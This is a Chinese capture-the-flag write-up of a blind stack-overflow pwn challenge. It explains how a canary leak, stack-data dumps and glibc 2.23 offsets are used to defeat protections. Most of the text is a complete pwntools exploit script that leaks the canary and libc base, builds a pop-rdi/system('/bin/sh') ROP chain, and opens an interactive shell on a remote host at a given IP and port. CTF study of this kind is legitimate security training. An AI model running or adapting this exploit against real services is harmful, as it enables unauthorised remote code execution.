攻防世界PWN之stackoverflow(栈溢出盲打)题解
Stackoverflow
这题,没有提供给我们二进制文件,仅仅有一个可交互的地址。由题意也可以知道,它存在栈溢出。这是一个栈溢出盲打的题目。
首先,就是确定栈溢出的长度
我们发现,当我们输入23个整数后,就发生了溢出报错,同时,我们也知道了,这个程序开启了canary机制,这正好被我们利用起来判断栈溢出的长度。
接下来,就是泄露栈数据了,主要依靠功能3,它会把数组里的数据相邻的去重后输出
但这似乎不容易发现什么,我们不如转换成十六进制,来观察
- def getStackData():
- data = []
- changeNum(50)
- unique()
- data_s = (sh.recvuntil('\n',drop = True).strip(' ')).split(' ')
- for s in data_s:
- x = int(s,10)
- if x < 0:
- x = 0x100000000 + x
- data.append(x)
- return data
我们需要确定程序位数,一开始,我以为程序是32位的,以为这里面数据都是4字节,后来分析,发现32位的话,分析不出什么信息,我们看到栈里面有一个数据是一直没变,并且有些数据末尾3个十六进制数据也没变
0x401020应该是程序里的某个地方,而0x______830应该是libc中的某个地方,并且64位程序如果没开启PIE,程序的加载基址就是从0x400000开始,由此,我们可以判断这是一个64位的程序,那么就能解释的通顺了,0x401020是main函数的ebp处,前面两个4字节数据构成了8字节的canary,而0x7f6c和0xbdfbb830构成了libc_start_main里的某处地址,看末尾的830数据,根据经验,以及日常刷题的熟练,感觉很眼熟,这好像是libc2.23版本里面的,于是,我们在glibc2.23环境下,随便运行一个二进制文件,观察栈布局
那么,我们可以确定,程序的glibc就是2.23版本,那么我们就能计算出glibc基地址,进而计算出需要的函数即字符串的地址。那么接下来的操作就是一个简单的栈溢出操作,只不过,我们在写数据的时候,需要把8字节数据拆分后再写。为了调用system(“/bin/sh”),在64位程序下,我们还需要pop rdi;ret这个gadget,我们可以在libc2.23中查找。
综上,我们的exp脚本如下
- #coding:utf8
- from pwn import *
- import numpy as np
- sh = remote('111.198.29.45',46999)
- libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
- system_s = libc.sym['system']
- binsh_s = libc.search('/bin/sh').next()
- pop_rdi = 0x21102
- def unique():
- sh.sendlineafter('>','3')
- def changeNum(num):
- sh.sendlineafter('>','1')
- sh.sendline(str(num))
- def setArray(arr):
- sh.sendlineafter('>','2')
- sh.recvuntil('num:')
- for x in arr:
- sh.sendline(str(x))
- def getStackData():
- data = []
- changeNum(50)
- unique()
- data_s = (sh.recvuntil('\n',drop = True).strip(' ')).split(' ')
- for s in data_s:
- x = int(s,10)
- if x < 0:
- x = 0x100000000 + x
- #print hex(x)
- data.append(x)
- return data
- #将8字节数据拆分为2个4字节
- def split_data(data):
- data0 = data & 0xFFFFFFFF
- if data0 & 0x80000000 != 0:
- data0 = -0x100000000 + data0
- data1 = (data & 0xFFFFFFFF00000000) >> 32
- if data1 & 0x80000000 != 0:
- data1 = -0x100000000 + data1
- return [data0,data1]
- #经过测试,缓冲区大小为22个int,下一个区域就是canary
- sh.sendlineafter('input n:','22')
- #初始化输入全0
- setArray(np.zeros(22,dtype=int))
- data = getStackData()
- #程序是64位的,数据被截成两部分了
- canary0 = data[1]
- canary1 = data[2]
- #判断四字节数据是否为负数,是则需要转换回去
- if canary0 & 0x80000000 != 0:
- canary0 = -0x100000000 + canary0
- if canary1 & 0x80000000 != 0:
- canary1 = -0x100000000 + canary1
- __libc_start_main_F0 = (data[6] << 32) + data[5]
- __libc_start_main_addr = __libc_start_main_F0 - 0xF0
- libc_base = __libc_start_main_addr - libc.sym['__libc_start_main']
- system_addr = libc_base + system_s
- binsh_addr = libc_base + binsh_s
- pop_rdi_addr = libc_base + pop_rdi
- print 'libc base=',hex(libc_base)
- #拆分8字节数据为4字节
- pop_rdi_addr = split_data(pop_rdi_addr)
- binsh_addr = split_data(binsh_addr)
- system_addr = split_data(system_addr)
- changeNum(32)
- arr = list(np.zeros(22,dtype=int))
- arr.append(canary0)
- arr.append(canary1)
- arr.append(0)
- arr.append(0)
- arr.append(pop_rdi_addr[0])
- arr.append(pop_rdi_addr[1])
- arr.append(binsh_addr[0])
- arr.append(binsh_addr[1])
- arr.append(system_addr[0])
- arr.append(system_addr[1])
- setArray(arr)
- #getshell
- sh.sendlineafter('>','4')
- sh.interactive()
总结:对于盲打类型的题目,要熟悉栈的布局,熟悉一些常用的libc版本的地址,感兴趣的可以做一个libc_start_main+XX的数据库,用来查询libc版本,方便以后使用。